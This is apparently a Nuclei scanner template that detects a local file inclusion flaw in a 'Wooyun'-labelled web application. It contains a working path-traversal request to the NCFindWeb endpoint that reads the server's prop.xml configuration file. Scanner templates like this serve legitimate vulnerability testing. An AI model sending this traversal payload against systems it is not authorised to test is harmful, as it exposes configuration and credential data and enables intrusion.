id: wooyun-path-traversal

info:
  name: Wooyun - Local File Inclusion
  author: pikpikcu
  severity: high
  description: |
    Wooyun is vulnerable to local file inclusion.
  reference:
    - https://wooyun.x10sec.org/static/bugs/wooyun-2015-0148227.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: lfi,wooyun

http:
  - method: GET
    path:
      - "{{BaseURL}}/NCFindWeb?service=IPreAlertConfigService&filename=../../ierp/bin/prop.xml"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - <DataSourceClassName>
          - </DataSourceClassName>
        part: body
        condition: and
# digest: 4a0a00473045022023cd340c01fc76a6c85b1964f53f3c8adc7dbee438979d46b03db9fcb71b740b022100a89be49b5cac1626065c05dd9b3c7e0479286248edfb7d509e05f13a54de2217:922c64590222798bb761d5b6d8e72950